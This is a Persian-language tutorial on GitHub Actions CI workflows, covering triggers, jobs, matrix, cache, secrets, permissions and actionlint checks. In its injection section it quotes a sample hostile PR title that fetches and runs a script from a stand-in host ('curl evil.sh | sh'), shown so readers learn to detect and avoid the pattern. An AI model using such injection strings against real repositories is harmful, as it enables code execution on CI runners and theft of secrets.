توی این درس یاد میگیری چطور هر بار که کسی کد push میکند یا PR باز میکند، build و تست خودکار اجرا شود: با GitHub Actions. ساختار یک workflow (فایل YAML در .github/workflows/)، trigger ها (on: push، pull_request، schedule، workflow_dispatch)، job و step، اجرای همزمان با matrix، ترتیب با needs، cache و artifact، و secret ها و permissions را میآموزی. چون اجرای واقعی نیاز به حساب و سرور GitHub دارد، فایلها را با ابزار actionlint (بررسیکنندهی workflow) واقعاً بررسی میکنم و مرحلههایشان را روی لب اجرا میکنم. تمرین: یک workflow بساز که با هر push پروژه را build کند.
مسئله: «روی کامپیوتر من کار میکرد»
Section titled “مسئله: «روی کامپیوتر من کار میکرد»”همه فراموش میکنند قبل از push تستها را اجرا کنند؛ یکی روی ویندوز تست میکند و دیگری روی لینوکس؛ یکی نسخهی قدیمی Python دارد. نتیجه: کد خراب وارد main میشود و بعد از آن همه روی آن کار میکنند. CI (Continuous Integration) یعنی یک ماشین تمیز و یکسان هر بار کد را میگیرد، میسازد و تست میکند و نتیجه را روی خود PR نشان میدهد (✓ سبز یا ✗ قرمز). GitHub این ماشین را بهصورت سرویس میدهد: GitHub Actions.
تشبیه: خط کنترل کیفیت کارخانه
Section titled “تشبیه: خط کنترل کیفیت کارخانه”هر قطعهای که وارد کارخانه میشود روی یک ریل میافتد و از چند ایستگاه رد میشود (اندازهگیری، تست فشار، بستهبندی). اگر یک ایستگاه رد کرد، قطعه از خط خارج میشود. Actions همین است: رویداد (push) قطعه را وارد میکند، job یک ریل است و step ها ایستگاههایش. بهترین بخش: ایستگاهها را خودت (بهصورت متن در مخزن) تعریف میکنی و همراه کد نسخهبندی میشوند.
| مفهوم | معنی |
|---|---|
| workflow | یک فایل YAML در .github/workflows/؛ هر مخزن میتواند چند تا داشته باشد |
| event / trigger | چیزی که workflow را شروع میکند (on:) |
| job | مجموعهای از step ها که روی یک runner اجرا میشود؛ job ها پیشفرض همزمان و مستقلاند |
| step | یک مرحله: دستور shell (run:) یا یک action (uses:) |
| runner | ماشین اجراکننده (ubuntu-latest، windows-latest، macos-latest یا self-hosted)؛ برای هر job تمیز |
| action | یک بستهی آماده (مثل actions/checkout@v4) که یک کار را انجام میدهد |
مثالهای عملی
Section titled “مثالهای عملی”اجرای واقعی workflow فقط روی GitHub ممکن است و به حساب و مخزن تو نیاز دارد؛ پس نتیجهی اجرا روی سایت (برگهی Actions، ✓/✗ روی PR) را اجرا نکردهام و «نمونه» است. ولی هر چیزی که به خود فایل workflow و دستورهای داخلش مربوط است، واقعاً آزمایش شده: فایلها را با actionlint (ابزار متنباز بررسی workflow؛ همان ایرادهایی را میگیرد که GitHub بعد از push میگرفت) بررسی کردهام و دستورهای run را روی لب اجرا کردهام.
مثال ۱: پروژهی نمونه و آزمایش محلی
Section titled “مثال ۱: پروژهی نمونه و آزمایش محلی”یک پروژهی کوچک Python با یک تست. اول خودت محلی اجرایش میکنی؛ CI همین کار را روی یک ماشین تمیز خودکار میکند:
mkdir -p ~/gitlab/ci-demo/tests && cd ~/gitlab/ci-demo && git init -qcat > calc.py <<'EOF'def add(a, b): return a + bEOFcat > tests/test_calc.py <<'EOF'import unittestfrom calc import add
class TestCalc(unittest.TestCase): def test_add(self): self.assertEqual(add(2, 3), 5)
if __name__ == "__main__": unittest.main()EOFpython3 -m unittest discover -s tests -vtest_add (test_calc.TestCalc.test_add) ... ok
----------------------------------------------------------------------Ran 1 test in 0.000s
OKدستور python3 -m unittest discover -s tests -v همهی تستهای پوشهی tests را پیدا و اجرا میکند. اگر این روی کامپیوتر تو سبز است، همان را به CI میدهیم.
مثال ۲: اولین workflow، ci.yml
Section titled “مثال ۲: اولین workflow، ci.yml”فایل را در .github/workflows/ میسازی (پوشه و نام فایل را GitHub میشناسد؛ هر فایل .yml یا .yaml داخل آن یک workflow است):
cd ~/gitlab/ci-demomkdir -p .github/workflowscat > .github/workflows/ci.yml <<'EOF'name: CI
on: push: branches: [main] pull_request:
jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: "3.12" - name: Run tests run: python3 -m unittest discover -s tests -vEOFecho "--- actionlint (بدون خروجی یعنی ایرادی پیدا نشد):"actionlint -color=falseecho "کد خروج: $?"--- actionlint (بدون خروجی یعنی ایرادی پیدا نشد):کد خروج: 0بخشها از بالا:
| خط | معنی |
|---|---|
name: CI |
اسمی که در برگهی Actions و کنار PR دیده میشود |
on: |
trigger: با push به main و با هر Pull Request اجرا شو |
jobs: |
فهرست job ها؛ اینجا یکی به نام test |
runs-on: ubuntu-latest |
روی یک ماشین Ubuntu تمیز (هر بار از نو) |
uses: actions/checkout@v4 |
action رسمی که کد مخزن را روی runner میگیرد (بدون آن runner خالی است!) |
uses: actions/setup-python@v5 + with: |
نصب Python؛ with ورودیهای action است |
run: |
یک دستور shell؛ همان دستوری که محلی زدی |
اگر actionlint چیزی نگوید، ساختار درست است. ایراد را قبل از push پیدا کردن، چند دقیقه صبر برای اجرای خراب در GitHub را حذف میکند.
مثال ۳: وقتی تست میشکند، CI چه میگوید؟
Section titled “مثال ۳: وقتی تست میشکند، CI چه میگوید؟”تست را عمداً خراب میکنم تا ببینی ✗ از کجا میآید: کد خروج ناصفر. هر step که با کد غیرصفر تمام شود، job شکست میخورد و بقیهی step ها اجرا نمیشوند:
cd ~/gitlab/ci-demosed -i 's/return a + b/return a - b/' calc.pypython3 -m unittest discover -s tests 2>&1 | tail -9echo "کد خروج: ${PIPESTATUS[0]}"sed -i 's/return a - b/return a + b/' calc.pyTraceback (most recent call last): File "/home/ali/gitlab/ci-demo/tests/test_calc.py", line 7, in test_add self.assertEqual(add(2, 3), 5)AssertionError: -1 != 5
----------------------------------------------------------------------Ran 1 test in 0.000s
FAILED (failures=1)کد خروج: 1خطای AssertionError: -1 != 5 و کد خروج 1. روی GitHub این همان لحظهای است که کنار PR ✗ قرمز میآید (و لاگ همین خروجی است). نکته: هر دستور با کد خروج غیرصفر یعنی شکست؛ برای همین درسهای exit code و set -e در Bash برای CI مهماند. (این بخش «نمایش در سایت» را اجرا نکردهام: نمونه؛ خود خطا واقعی بود.)
مثال ۴: trigger ها، on:
Section titled “مثال ۴: trigger ها، on:”on: تعیین میکند چه چیزی workflow را شروع کند. یک فایل با چند trigger رایج:
cd ~/gitlab/ci-democat > .github/workflows/triggers.yml <<'EOF'name: Triggers demo
on: push: branches: [main, "release/**"] paths: ["calc.py", "tests/**"] pull_request: types: [opened, synchronize, reopened] schedule: - cron: "30 2 * * 1-5" workflow_dispatch: inputs: environment: description: "Where to run" required: true default: staging type: choice options: [staging, production]
jobs: show: runs-on: ubuntu-latest steps: - run: echo "event=${{ github.event_name }} environment=${{ inputs.environment }}"EOFactionlint -color=false .github/workflows/triggers.yml; echo "کد خروج: $?"کد خروج: 0| trigger | چه زمانی | نکته |
|---|---|---|
push |
push به یک شاخه یا tag | فیلتر: branches، tags، paths (فقط وقتی این فایلها عوض شدند) |
pull_request |
باز، بهروز یا دوباره باز شدن PR | types پیشفرض: opened، synchronize، reopened |
schedule |
زمانبندی با cron (همان قالب درس cron: ۵ فیلد) | همیشه به وقت UTC؛ حداقل فاصله ۵ دقیقه؛ فقط روی شاخهی پیشفرض |
workflow_dispatch |
اجرای دستی از رابط GitHub یا gh workflow run |
میتواند ورودی (inputs) بگیرد |
workflow_call |
یک workflow دیگر آن را صدا بزند | برای workflow های قابلاستفادهی مجدد |
30 2 * * 1-5 یعنی «۰۲:۳۰ UTC، دوشنبه تا جمعه» (درس cron). و ${{ ... }} یک عبارت (expression) است که GitHub قبل از اجرا مقدارش را میگذارد؛ github.event_name اسم رویداد است.
مثال ۵: چند job، needs و matrix
Section titled “مثال ۵: چند job، needs و matrix”job ها بهصورت پیشفرض همزمان اجرا میشوند. اگر job دوم به نتیجهی اولی نیاز دارد، needs ترتیب میدهد. و matrix یک job را با ترکیبهای مختلف (مثلاً چند نسخهی Python) تکثیر میکند:
cd ~/gitlab/ci-democat > .github/workflows/pipeline.yml <<'EOF'name: Pipeline
on: [push, pull_request]
jobs: test: runs-on: ubuntu-latest strategy: fail-fast: false matrix: python: ["3.10", "3.11", "3.12"] steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: ${{ matrix.python }} - run: python3 -m unittest discover -s tests
build: needs: test runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - run: python3 -m compileall -q . - uses: actions/upload-artifact@v4 with: name: build-output path: | calc.py tests/EOFactionlint -color=false .github/workflows/pipeline.yml; echo "کد خروج: $?"کد خروج: 0سه چیز: ۱) matrix.python سه مقدار دارد، پس job test سه بار همزمان اجرا میشود (هر کدام با یک نسخهی Python). با دو بعد (os و python) ضرب میشوند: ۲ × ۳ = ۶ job. ۲) fail-fast: false یعنی اگر یکی شکست خورد، بقیه ادامه دهند (پیشفرض: همه لغو میشوند). ۳) needs: test یعنی job build فقط بعد از موفقیت همهی job های test شروع میشود. و artifact فایلهایی است که از job میماند و میشود از صفحهی workflow دانلود یا به job دیگر داد (upload-artifact / download-artifact).
مثال ۶: cache برای سرعت
Section titled “مثال ۶: cache برای سرعت”هر job روی ماشین تمیز شروع میشود، پس وابستگیها هر بار از نو دانلود میشوند. actions/cache پوشههایی مثل کش pip را بین اجراها نگه میدارد. کلید cache از هش فایل وابستگیها ساخته میشود تا با عوض شدن وابستگی، کش جدید ساخته شود:
cd ~/gitlab/ci-demoecho "# بدون وابستگی خارجی" > requirements.txtcat > .github/workflows/cache.yml <<'EOF'name: Cached CI
on: push
jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: "3.12" - uses: actions/cache@v4 with: path: ~/.cache/pip key: pip-${{ runner.os }}-${{ hashFiles('requirements.txt') }} restore-keys: | pip-${{ runner.os }}- - run: python3 -m pip install -r requirements.txt - run: python3 -m unittest discover -s testsEOFactionlint -color=false .github/workflows/cache.yml; echo "کد خروج: $?"کد خروج: 0key اگر دقیقاً وجود داشت، کش بازیابی میشود. اگر نه، restore-keys نزدیکترین کش قدیمی (با همان پیشوند) را میآورد و در پایان job کش جدید ذخیره میشود. runner.os اسم سیستمعامل است و hashFiles('requirements.txt') هش محتوای فایل. (برای Python، خود setup-python هم گزینهی cache: pip دارد که همین را خلاصه میکند.) سقف حجم کش محدود است و کشهایی که چند روز استفاده نشوند پاک میشوند؛ پس به کش بهعنوان شتابدهنده نگاه کن، نه تضمین.
مثال ۷: secret ها، متغیرها و permissions
Section titled “مثال ۷: secret ها، متغیرها و permissions”رمز و کلید هرگز داخل فایل workflow نمیآیند (فایل در مخزن است!). در GitHub (Settings ← Secrets and variables ← Actions) یک secret میسازی و در workflow با ${{ secrets.NAME }} میخوانی؛ GitHub مقدارش را در لاگها با *** پنهان میکند. مقدارهای غیرحساس را در variables (vars.NAME) میگذاری. و permissions دسترسی توکن خودکار GITHUB_TOKEN را به حداقل میرساند:
cd ~/gitlab/ci-democat > .github/workflows/deploy.yml <<'EOF'name: Deploy
on: push: tags: ["v*"]
permissions: contents: read
jobs: deploy: runs-on: ubuntu-latest environment: production steps: - uses: actions/checkout@v4 - name: Deploy to server env: SSH_KEY: ${{ secrets.DEPLOY_KEY }} HOST: ${{ vars.DEPLOY_HOST }} run: | echo "deploying $GITHUB_SHA to $HOST" # اینجا با rsync یا ssh و کلید $SSH_KEY مستقر میشدEOFactionlint -color=false .github/workflows/deploy.yml; echo "کد خروج: $?"کد خروج: 0نکتههای امنیتی (طبق مستندات GitHub): secret ها به workflow های PR از fork داده نمیشوند (تا یک مهاجم با یک PR، secret تو را نخواند). permissions: contents: read یعنی توکن فقط خواندن دارد؛ هر چه کمتر بهتر. environment: production یک محیط با قاعدههای اضافه (مثلاً تأیید دستی قبل از استقرار و secret های جدا) است. (ساخت secret و environment در رابط GitHub را اجرا نکردهام؛ نمونه.)
مثال ۸: خطر تزریق (injection) و چطور actionlint میگیردش
Section titled “مثال ۸: خطر تزریق (injection) و چطور actionlint میگیردش”بعضی ورودیها را مهاجم کنترل میکند: عنوان یک PR، نام یک شاخه، پیام commit. اگر آن را مستقیم داخل run: بگذاری، مقدارش قبل از اجرا داخل اسکریپت shell متنگذاری میشود و عنوانی مثل "; curl evil.sh | sh; " فرمان میشود. ببین actionlint چه میگوید و راه درست چیست:
cd ~/gitlab/ci-democat > .github/workflows/unsafe.yml <<'EOF'name: Unsafeon: pull_requestjobs: greet: runs-on: ubuntu-latest steps: - run: echo "PR title is ${{ github.event.pull_request.title }}"EOFactionlint -color=false .github/workflows/unsafe.yml 2>&1 | cut -c1-200; echo "کد خروج: ${PIPESTATUS[0]}"cat > .github/workflows/safe.yml <<'EOF'name: Safeon: pull_requestjobs: greet: runs-on: ubuntu-latest steps: - env: TITLE: ${{ github.event.pull_request.title }} run: echo "PR title is $TITLE"EOFecho "--- نسخهی امن (از راه متغیر محیطی):"actionlint -color=false .github/workflows/safe.yml; echo "کد خروج: $?".github/workflows/unsafe.yml:7:36: "github.event.pull_request.title" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https:// |7 | - run: echo "PR title is ${{ github.event.pull_request.title }}" | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~کد خروج: 1--- نسخهی امن (از راه متغیر محیطی):کد خروج: 0راه درست: مقدار را به یک متغیر محیطی (env:) بده و در اسکریپت با "$TITLE" بخوان؛ آنوقت shell آن را داده میبیند، نه کد. این از رایجترین آسیبپذیریهای workflow هاست.
مثال ۹: یک workflow فقط YAML است، یک اجراکنندهی ساده
Section titled “مثال ۹: یک workflow فقط YAML است، یک اجراکنندهی ساده”برای اینکه ببینی workflow جادو نیست، یک «اجراکنندهی» بسیار ساده مینویسم: فایل را میخواند، step های run را بهترتیب اجرا میکند و uses را (که به دانلود action نیاز دارد) رد میکند. (این یک ابزار آموزشی است، نه جایگزین runner واقعی.)
cd ~/gitlab/ci-democat > mini-runner.py <<'EOF'import subprocess, sys, yaml
wf = yaml.safe_load(open(sys.argv[1]))print(f"workflow: {wf['name']}")for job_id, job in wf["jobs"].items(): print(f"\n== job: {job_id} (runs-on: {job['runs-on']})") for i, step in enumerate(job["steps"], 1): if "uses" in step: print(f" [{i}] SKIP uses: {step['uses']} (در GitHub یک action اجرا میشد)") continue print(f" [{i}] RUN {step.get('name', step['run'].splitlines()[0])}") r = subprocess.run(step["run"], shell=True) if r.returncode != 0: print(f" ✗ step {i} با کد {r.returncode} تمام شد ← job شکست خورد") sys.exit(1)print("\n✓ همهی مرحلهها موفق بودند")EOFpython3 -u mini-runner.py .github/workflows/ci.yml 2>&1workflow: CI
== job: test (runs-on: ubuntu-latest) [1] SKIP uses: actions/checkout@v4 (در GitHub یک action اجرا میشد) [2] SKIP uses: actions/setup-python@v5 (در GitHub یک action اجرا میشد) [3] RUN Run teststest_add (test_calc.TestCalc.test_add) ... ok
----------------------------------------------------------------------Ran 1 test in 0.000s
OK
✓ همهی مرحلهها موفق بودنددیدی: uses (مثل checkout) رد شد چون اینجا کد از قبل کنار ماست؛ و run همان تستها را اجرا کرد. هر چه GitHub میکند، در هسته همین است: یک ماشین تمیز، checkout، و یکییکی اجرای دستورها. (یک نکتهی جانبی: خود PyYAML کلید on: را True میخواند چون در YAML 1.1 کلمهی on یعنی «درست»؛ همین باعث میشود بعضی ابزارها با فایلهای workflow گیج شوند. در اجراکنندهی من این کلید استفاده نشد.)
مثال ۱۰: خروجی step ها، $GITHUB_OUTPUT
Section titled “مثال ۱۰: خروجی step ها، $GITHUB_OUTPUT”step ها میتوانند مقدار به step های بعد بدهند: یک خط نام=مقدار به فایلی که مسیرش در متغیر GITHUB_OUTPUT است اضافه میکنند، و بعداً با ${{ steps.id.outputs.نام }} میخوانند. خود مکانیزم فقط «اضافهکردن یک خط به یک فایل» است؛ همین را محلی نشان میدهم:
cd ~/gitlab/ci-demoexport GITHUB_OUTPUT=/tmp/gh_output.txt; : > "$GITHUB_OUTPUT"git add -A && git commit -qm "Add CI workflows"echo "version=1.4.2" >> "$GITHUB_OUTPUT"echo "sha=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT"echo "--- فایل خروجی step:"cat "$GITHUB_OUTPUT"rm -f "$GITHUB_OUTPUT"--- فایل خروجی step:version=1.4.2sha=54ea453در workflow:
- id: vars run: echo "version=1.4.2" >> "$GITHUB_OUTPUT" - run: echo "نسخه: ${{ steps.vars.outputs.version }}"دو فایل ویژهی مشابه: $GITHUB_ENV (متغیر محیطی برای step های بعدی) و $GITHUB_STEP_SUMMARY (متن Markdown که در صفحهی خلاصهی اجرا نشان داده میشود).
مثال ۱۱ (نمونه): دیدن و کنترل اجرا در GitHub
Section titled “مثال ۱۱ (نمونه): دیدن و کنترل اجرا در GitHub”بعد از push یا باز کردن PR، در تب Actions هر workflow و اجراهایش را میبینی؛ روی یک اجرا بروی، job ها و step ها را با لاگ کامل میبینی. کنار PR هم یک بخش Checks هست. اگر در branch protection گزینهی Require status checks to pass را روشن کرده باشی (درس قبل)، تا ✓ سبز نشود دکمهی ادغام باز نمیشود. با ابزار gh از ترمینال (اینها را اجرا نکردهام؛ گزینهها از مستندات رسمی gh):
gh run list # آخرین اجراهاgh run view 12345 --log-failed # لاگ فقط step های شکستخوردهgh run watch # دنبالکردن زندهی یک اجراgh run rerun 12345 --failed # دوباره اجرای فقط job های شکستخوردهgh workflow run ci.yml --ref main # اجرای دستی (نیاز به workflow_dispatch)gh workflow run deploy.yml -f environment=staging # با ورودیبرای اجرای کامل یک workflow روی کامپیوتر خودت بدون push، ابزار متنباز act (با Docker) وجود دارد؛ نصب و تصویرهای سنگین دارد و من اجرایش نکردهام. actionlint که در این درس دیدی برای ایرادهای ساختاری کافی و سبک است.
پشت پرده: runner چیست؟
Section titled “پشت پرده: runner چیست؟”روی GitHub، هر job روی یک ماشین مجازی تازه (با ubuntu-latest یک Ubuntu، که همراه ابزارهای معمول مثل Git، Docker، Python و Node آماده است) شروع میشود و بعد از پایان job دور ریخته میشود؛ هیچ چیز بین job ها نمیماند، مگر cache و artifact. برای همین هر job باید checkout را خودش بزند. میتوانی runner خودت (self-hosted) هم داشته باشی: سرور خودت که یک برنامهی کوچک GitHub روی آن کار میکند و job ها را میگیرد؛ برای سختافزار خاص یا شبکهی داخلی لازم است ولی امنیتش با خودت است (کدی که روی مخزن عمومی اجرا میشود روی سرور تو میدود). مخزنهای عمومی روی runner های GitHub رایگاناند و مخزنهای خصوصی سهمیهی ماهانه دارند (مقدارش را در مستندات GitHub ببین؛ تغییر میکند).
جدولهای مرجع
Section titled “جدولهای مرجع”| کلید در workflow | کار |
|---|---|
name |
اسم workflow / job / step |
on |
trigger ها |
jobs.<id>.runs-on |
نوع runner |
jobs.<id>.steps[] |
مرحلهها: run یا uses (+ with، env، id، if) |
jobs.<id>.needs |
ترتیب job ها |
jobs.<id>.strategy.matrix |
تکثیر job با ترکیبها |
jobs.<id>.environment |
محیط استقرار |
permissions |
دسترسی GITHUB_TOKEN |
env |
متغیر محیطی (در سطح workflow، job یا step) |
if |
شرط اجرای job یا step (مثل if: failure()) |
| expression | معنی |
|---|---|
${{ github.event_name }} |
اسم رویداد |
${{ github.sha }} / ref_name |
commit / نام شاخه یا tag |
${{ secrets.NAME }} |
secret |
${{ vars.NAME }} |
متغیر غیرحساس |
${{ matrix.python }} |
مقدار فعلی matrix |
${{ steps.id.outputs.x }} |
خروجی یک step |
${{ runner.os }} |
سیستمعامل runner |
${{ hashFiles('فایل') }} |
هش محتوای فایلها (برای کلید cache) |
اشتباهات رایج
Section titled “اشتباهات رایج”۱) غلط تایپی در اسم runner یا کلیدها
Section titled “۱) غلط تایپی در اسم runner یا کلیدها”mkdir -p ~/gitlab/ci-bad/.github/workflows && cd ~/gitlab/ci-bad && git init -qcat > .github/workflows/typos.yml <<'EOF'name: Typoson: push: branch: [main]jobs: build: runs-on: ubuntu-lastest steps: - uses: actions/checkout@v4 with: fetch-deph: 0 - run: echo ${{ github.evnt_name }}EOFactionlint -color=false 2>&1 | grep -E '^\.github' | cut -c1-190.github/workflows/typos.yml:4:5: unexpected key "branch" for "push" section. expected one of "branches", "branches-ignore", "paths", "paths-ignore", "tags", "tags-ignore", "types", "workflow.github/workflows/typos.yml:7:14: label "ubuntu-lastest" is unknown. available labels are "windows-latest", "windows-latest-8-cores", "windows-2025", "windows-2025-vs2026", "windows-2022", ".github/workflows/typos.yml:11:11: input "fetch-deph" is not defined in action "actions/checkout@v4". available inputs are "clean", "fetch-depth", "fetch-tags", "filter", "github-server-url".github/workflows/typos.yml:12:23: property "evnt_name" is not defined in object type {action: string; action_path: string; action_ref: string; action_repository: string; action_status: striچهار ایراد واقعی با شمارهی خط و ستون: کلید ناشناختهی branch (درستش branches)، اسم runner غلط (ubuntu-lastest)، ورودی fetch-deph که action ندارد (fetch-depth) و github.evnt_name که وجود ندارد. بدون actionlint، هر کدام را فقط بعد از push و با یک اجرای قرمز میفهمیدی.
۲) job وابسته به job ناموجود
Section titled “۲) job وابسته به job ناموجود”cd ~/gitlab/ci-badcat > .github/workflows/needs.yml <<'EOF'name: Needson: pushjobs: test: runs-on: ubuntu-latest steps: - run: echo test deploy: needs: [tset] runs-on: ubuntu-latest steps: - run: echo deployEOFactionlint -color=false .github/workflows/needs.yml 2>&1 | head -1.github/workflows/needs.yml:8:3: job "deploy" needs job "tset" which does not exist in this workflow [job-needs]۳) تب در YAML
Section titled “۳) تب در YAML”YAML فقط فاصله برای تورفتگی میپذیرد، نه Tab:
cd ~/gitlab/ci-badprintf 'name: Tab\non: push\njobs:\n\tbuild:\n runs-on: ubuntu-latest\n steps:\n - run: echo hi\n' > .github/workflows/tab.ymlactionlint -color=false .github/workflows/tab.yml 2>&1 | head -1.github/workflows/tab.yml:4:0: could not parse as YAML: found character that cannot start any token [syntax-check]ویرایشگرت را روی «Tab → ۲ فاصله» تنظیم کن (درس ویرایشگرها).
۴) یادت میرود checkout بزنی
Section titled “۴) یادت میرود checkout بزنی”runner تمیز است و کد مخزن را ندارد. بدون actions/checkout، دستوری مثل python3 -m unittest discover -s tests پوشهی tests را پیدا نمیکند. همیشه اولین step: uses: actions/checkout@v4.
۵) اعتماد کورکورانه به action شخص ثالث
Section titled “۵) اعتماد کورکورانه به action شخص ثالث”uses: someone/some-action@main یعنی هر چه آن شخص روزی در شاخهی main بگذارد روی runner تو (با دسترسی به secret ها) اجرا میشود. راهحل: فقط action های معتبر؛ نسخه را به یک tag ثابت یا بهتر commit SHA قفل کن (uses: owner/action@<sha کامل>)، و permissions را حداقلی بگذار.
۶) secret در لاگ
Section titled “۶) secret در لاگ”GitHub مقدار secret ها را در لاگ پنهان میکند، ولی اگر آن را تغییر بدهی (مثلاً base64 کنی و چاپ کنی)، دیگر شبیه secret نیست و پنهان نمیشود. راهحل: secret را هرگز echo نکن؛ مستقیم به برنامهای که لازمش دارد بده.
یک workflow حداقلی بنویس که با هر push فقط یک خط چاپ کند (echo "Hello from CI") و با actionlint ثابت کن درست است.
دیدن جواب
mkdir -p ~/gitlab/ex1/.github/workflows && cd ~/gitlab/ex1 && git init -qcat > .github/workflows/hello.yml <<'EOF'name: Helloon: pushjobs: hello: runs-on: ubuntu-latest steps: - run: echo "Hello from CI"EOFactionlint -color=false; echo "کد خروج: $?"کد خروج: 0تمرین اصلی: یک workflow بساز که با هر push پروژه را build کند. برای پروژهی Python: checkout، نصب Python، اجرای تستها، «build» (اینجا: python3 -m compileall) و آپلود نتیجه بهعنوان artifact. فایل را با actionlint بررسی کن و run های آن را روی لب اجرا کن تا مطمئن شوی روی GitHub هم کار میکنند. (اجرای واقعی روی GitHub: نمونه.)
دیدن جواب
mkdir -p ~/gitlab/ex2/tests ~/gitlab/ex2/.github/workflows && cd ~/gitlab/ex2 && git init -qprintf 'def greet(name):\n return f"Hello {name}"\n' > app.pyprintf 'import unittest\nfrom app import greet\n\nclass T(unittest.TestCase):\n def test_greet(self):\n self.assertEqual(greet("Ali"), "Hello Ali")\n\nif __name__ == "__main__":\n unittest.main()\n' > tests/test_app.pycat > .github/workflows/build.yml <<'EOF'name: Build
on: push:
jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: "3.12" - name: Test run: python3 -m unittest discover -s tests -v - name: Build run: python3 -m compileall -q . - uses: actions/upload-artifact@v4 with: name: app path: app.pyEOFecho "--- actionlint:"; actionlint -color=false; echo "کد خروج: $?"echo "--- run های workflow روی لب (با اجراکنندهی سادهی مثال ۹):"cp ~/gitlab/ci-demo/mini-runner.py . && python3 -u mini-runner.py .github/workflows/build.yml 2>&1 | tail -14--- actionlint:کد خروج: 0--- run های workflow روی لب (با اجراکنندهی سادهی مثال ۹):== job: build (runs-on: ubuntu-latest) [1] SKIP uses: actions/checkout@v4 (در GitHub یک action اجرا میشد) [2] SKIP uses: actions/setup-python@v5 (در GitHub یک action اجرا میشد) [3] RUN Testtest_greet (test_app.T.test_greet) ... ok
----------------------------------------------------------------------Ran 1 test in 0.000s
OK [4] RUN Build [5] SKIP uses: actions/upload-artifact@v4 (در GitHub یک action اجرا میشد)
✓ همهی مرحلهها موفق بودندیک workflow بساز که: (۱) با push به main، با PR و دستی (workflow_dispatch) اجرا شود، (۲) تست را روی سه نسخهی Python با matrix اجرا کند، (۳) job دوم report فقط بعد از موفقیت تستها اجرا شود و (۴) job سوم notify با شرط if: failure() فقط وقتی اجرا شود که تستها شکست خورده باشند. فایل را با actionlint بررسی کن.
دیدن جواب
mkdir -p ~/gitlab/ex3/.github/workflows && cd ~/gitlab/ex3 && git init -qcat > .github/workflows/full.yml <<'EOF'name: Full pipeline
on: push: branches: [main] pull_request: workflow_dispatch:
jobs: test: runs-on: ubuntu-latest strategy: fail-fast: false matrix: python: ["3.10", "3.11", "3.12"] steps: - uses: actions/checkout@v4 - uses: actions/setup-python@v5 with: python-version: ${{ matrix.python }} - run: python3 -m unittest discover -s tests
report: needs: test runs-on: ubuntu-latest steps: - run: echo "همهی نسخهها سبز شدند" >> "$GITHUB_STEP_SUMMARY"
notify: needs: test if: failure() runs-on: ubuntu-latest steps: - run: echo "تستها شکست خوردند" >> "$GITHUB_STEP_SUMMARY"EOFactionlint -color=false; echo "کد خروج: $?"کد خروج: 0نکته: if: failure() در job notify بهتنهایی کافی است چون needs: test را دارد؛ اگر test موفق باشد notify رد (skip) میشود.
آزمونک
Section titled “آزمونک”چرا اولین step تقریباً هر job معمولاً «uses: actions/checkout@v4» است؟
هر job روی یک ماشین تازه شروع میشود. بدون checkout، پوشهی کد وجود ندارد و دستورهایی مثل اجرای تستها شکست میخورند.
workflow ها را کجا میگذاری؟
هر فایل یک workflow است.
job های یک workflow بهصورت پیشفرض چطور اجرا میشوند؟
needs: test یعنی بعد از موفقیت job ِ test.
matrix با دو بعد (۲ سیستمعامل و ۳ نسخهی Python) چند job میسازد؟
ترکیبها ضرب میشوند: ۲ × ۳.
چرا نباید عنوان PR را مستقیم داخل run: بگذاری (${{ github.event.pull_request.title }})؟
actionlint هم همین را هشدار میدهد.
secret ها به workflow های PR از fork چه میشوند؟
فقط GITHUB_TOKEN با دسترسی محدود.
جمعبندی
Section titled “جمعبندی”- CI: هر push یا PR روی یک ماشین تمیز build و تست میشود؛ ✓ یا ✗ روی PR. GitHub Actions = فایلهای YAML در
.github/workflows/. - ساختار: workflow ← job ها (روی
runs-on) ← step ها (run:دستور یاuses:action آماده +with:). اولین step:actions/checkout@v4. - trigger:
push(branches/paths)،pull_request،schedule(cron UTC)،workflow_dispatch(دستی).needsترتیب،matrixتکثیر،ifشرط،cacheوartifact. - secrets (
${{ secrets.X }}) و vars؛permissionsحداقلی؛ ورودی غیرقابلاعتماد را از راهenv:بده (injection)؛ action شخص ثالث را به tag/SHA قفل کن. actionlintفایل را قبل از push بررسی میکند (runner غلط، کلید ناشناخته،needsناموجود، YAML، injection، shellcheck). دستورهایrunرا محلی اجرا کن.- هر دستور با کد خروج غیرصفر ← step و job شکست میخورد.
$GITHUB_OUTPUT،$GITHUB_ENV،$GITHUB_STEP_SUMMARYفایلهای ارتباطی step ها.
| دستور | کاری که میکند |
|---|---|
.github/workflows/ci.yml | محل فایل workflow |
on: push / pull_request / schedule / workflow_dispatch | trigger ها |
runs-on: ubuntu-latest | نوع runner |
uses: actions/checkout@v4 | گرفتن کد مخزن |
run: دستور | اجرای دستور shell |
needs: [test] | ترتیب job ها |
strategy.matrix.python: ["3.11", "3.12"] | تکثیر job |
${{ secrets.NAME }} / ${{ vars.NAME }} | secret / متغیر |
env: TITLE: ${{ ... }} ← "$TITLE" | جلوگیری از injection |
actionlint | بررسی فایلهای workflow قبل از push |
gh run list / view --log-failed / rerun --failed | مدیریت اجراها (نمونه) |